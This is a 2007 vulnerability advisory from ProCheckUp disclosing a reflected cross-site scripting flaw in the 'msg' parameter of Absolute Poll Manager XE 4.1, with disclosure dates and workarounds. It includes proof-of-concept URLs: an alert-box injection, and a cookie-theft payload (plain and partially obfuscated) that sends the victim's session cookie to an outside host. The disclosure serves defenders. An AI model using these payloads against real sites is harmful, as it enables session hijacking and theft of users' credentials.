Non-persistent Cross-site Scripting (XSS) on Absolute Poll Manager XE admin page

Advisory Content :

Date Found: 10th April 2007

Vendor informed: 4th July 2007

Successfully tested on: Absolute Poll Manager XE - Version 4.1. Earlier
versions are possibly affected as well but have NOT been tested.

Description: Absolute Poll Manager XE is vulnerable to a vanilla XSS within
the "/AbsolutePollManager/xlaapmview.asp" server-side script and "msg"
parameter.

No authentication is required to exploit this vulnerability

Consequences: An attacker may be able to cause execution of malicious
scripting code in the browser of a polls management user who clicks on a
link to a site managed by Absolute Poll Manager. Such code would run within
the context of the target domain.

This type of attack can result in non-persistent defacement of the target
site, or the redirection of confidential information (i.e.: session IDs) to
unauthorised third parties.

XSS Proof of concept (PoC) URLs:

Alert box injection -

http://target-domain.com/AbsolutePollManager/xlaapmview.asp?p=1&msg=<scr
ipt>alert("running+code+within+the+context+of+"%2bdocument.domain)</scri
pt>

Cookie theft (could be used in session hijacking attacks) -

http://target-domain.com/AbsolutePollManager/xlaapmview.asp?p=1&msg=<scr
ipt>location="http://procheckup.com/?"%2bdocument.cookie</script>

or partially obfuscated -

http://target-domain.com/AbsolutePollManager/xlaapmview.asp?p=1&msg=%3cs
cript%3elocation=%22http%3a//proch%65ckup%2ecom/?%22%2bdocument.cookie%3
c/script%3e&

Successfully tested on:

Web server environment -

Microsoft IIS 5.0
Absolute Poll Manager XE - Version 4.1

Severity: Medium/High

Authors: Richard Brain and Adrian Pastor of ProCheckUp Ltd
(http://www.procheckup.com/)

Vendor URL: http://www.xigla.com/

Product URL: http://www.xigla.com/absolutepm/

Fix: The yet-to-be released .NET version of Absolute Poll Manager XE will
fix this issue.

For the moment, any of the following workarounds can be applied in order to
fix the XSS issue:

1. Password protect the Absolute Poll Manager admin console directory
('/absolutepm/')
2. Restrict access to Absolute Poll Manager admin console directory from
trusted IP addresses only

ProCheckUp thanks Xigla Software for working with us.

Legal:

Copyright 2007 Procheckup Ltd. All rights reserved.

Permission is granted for copying and circulating this Bulletin to the
Internet community for the purpose of alerting them to problems, if and
only if, the Bulletin is not edited or changed in any way, is attributed to
Procheckup, and provided such reproduction and/or distribution is performed
for non-commercial purposes.

Any other use of this information is prohibited. Procheckup is not liable
for any misuse of this information by any third party.

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Non-persistent Cross-site Scripting (XSS) on Absolute Poll Manager XE admin page